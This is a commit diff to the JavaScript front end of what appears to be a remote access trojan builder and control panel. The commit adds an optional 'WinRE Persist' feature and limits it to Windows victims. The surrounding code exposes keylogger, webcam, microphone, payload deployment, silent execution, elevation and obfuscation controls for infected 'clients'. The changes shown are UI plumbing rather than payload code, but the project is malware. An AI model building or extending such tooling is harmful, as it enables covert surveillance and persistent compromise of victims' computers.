optional winre and winre probe

This commit is contained in:
KingKDot
2026-06-06 23:34:44 -05:00
parent bbb0d4b154
commit e9a61ecd9b
15 changed files with 134 additions and 27 deletions
+3
View File
@@ -141,6 +141,7 @@ function collectFormSettings() {
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
@@ -205,6 +206,7 @@ function applyFormSettings(settings) {
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
@@ -1411,6 +1413,7 @@ form?.addEventListener("submit", async (e) => {
noPrinting,
disableKeylogger: !enableKeylogger,
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
outputName: outputNameVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
@@ -12,7 +12,7 @@ const ALL_PER_CLIENT_ACTIONS = [
{ key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
{ key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
{ key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}`, windowsOnly: true },
];
let featurePermsCache = null;
@@ -30,10 +30,20 @@ async function loadFeaturePerms() {
}
}
function PER_CLIENT_ACTIONS() {
function clientSupportsAction(client, action) {
if (!action.windowsOnly) return true;
const isWindows = (client?.os || "").toLowerCase().includes("windows");
if (!isWindows) return false;
return true;
}
function PER_CLIENT_ACTIONS(client) {
const perms = featurePermsCache;
if (!perms) return ALL_PER_CLIENT_ACTIONS;
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
return ALL_PER_CLIENT_ACTIONS.filter((a) => {
if (a.windowsOnly && client && !clientSupportsAction(client, a)) return false;
if (a.feature && perms && perms[a.feature] === false) return false;
return true;
});
}
const RECENT_KEY = "cmdp_recent_v1";
@@ -143,7 +153,7 @@ function buildResults(query, pages, clients) {
}
}
for (const a of PER_CLIENT_ACTIONS()) {
for (const a of PER_CLIENT_ACTIONS(null)) {
const sc = score(query, a.label);
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
}
@@ -280,6 +290,7 @@ async function rebuild() {
const action = state.pendingAction;
const matched = clients
.map((c) => ({ c, sc: rankBest(state.query, [c.nickname, c.host, c.id, c.os, c.country].filter(Boolean)) + (c.online ? 30 : 0) }))
.filter(({ c }) => clientSupportsAction(c, action))
.filter((x) => x.sc > 0 || !state.query)
.sort((a, b) => b.sc - a.sc)
.slice(0, 60)
@@ -331,7 +342,7 @@ function activate(idx, newTab) {
if (r.kind === "client") {
state.mode = "actions-for-client";
state.pendingClient = r.client;
state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
state.results = PER_CLIENT_ACTIONS(r.client).map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
state.active = 0;
const input = document.getElementById("cmdp-input");
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
@@ -370,7 +381,7 @@ async function open() {
if (state.mode === "actions-for-client" && state.pendingClient) {
const q = state.query.toLowerCase();
const c = state.pendingClient;
state.results = PER_CLIENT_ACTIONS()
state.results = PER_CLIENT_ACTIONS(c)
.map((a) => ({ a, sc: score(q, a.label) }))
.filter((x) => x.sc > 0 || !q)
.sort((a, b) => b.sc - a.sc)
+4 -3
View File
@@ -377,9 +377,10 @@ function applyMenuSupportRules(clientId) {
const winreBtn = menu.querySelector('[data-open="winre"]');
if (winreBtn) {
setAvailability(winreBtn, isOnline && isWindows, isOnline ? "WinRE Persistence is only supported on Windows clients." : "Client is offline");
const label = winreBtn.querySelector("span");
if (label) label.style.textDecoration = isWindows ? "" : "line-through";
winreBtn.style.display = isWindows ? "" : "none";
if (isWindows) {
setAvailability(winreBtn, isOnline, "Client is offline");
}
}
const elevateBtn = menu.querySelector('[data-action="elevate"]');
+1 -1
View File
@@ -31,7 +31,7 @@ const MENU_GROUPS = [
items: [
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" },
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre", windowsOnly: true },
],
},
{
+7 -1
View File
@@ -279,6 +279,12 @@ async function uploadFile(file) {
}
function renderResults(results, actionLabel) {
const reasonLabels = {
not_enabled: "WinRE persistence is not enabled on this client",
unsupported: "WinRE persistence is not enabled on this client",
windows_only: "WinRE is only supported on Windows clients",
offline: "Client is offline",
};
const namedResults = results.map((r) => {
const client = allClients.find((c) => c.id === r.clientId);
const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8);
@@ -286,7 +292,7 @@ function renderResults(results, actionLabel) {
return { clientName, clientId: r.clientId, error: r.error };
}
if (r.ok === false) {
return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` };
return { clientName, clientId: r.clientId, error: reasonLabels[r.reason] || r.reason || `${actionLabel} failed` };
}
return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` };
});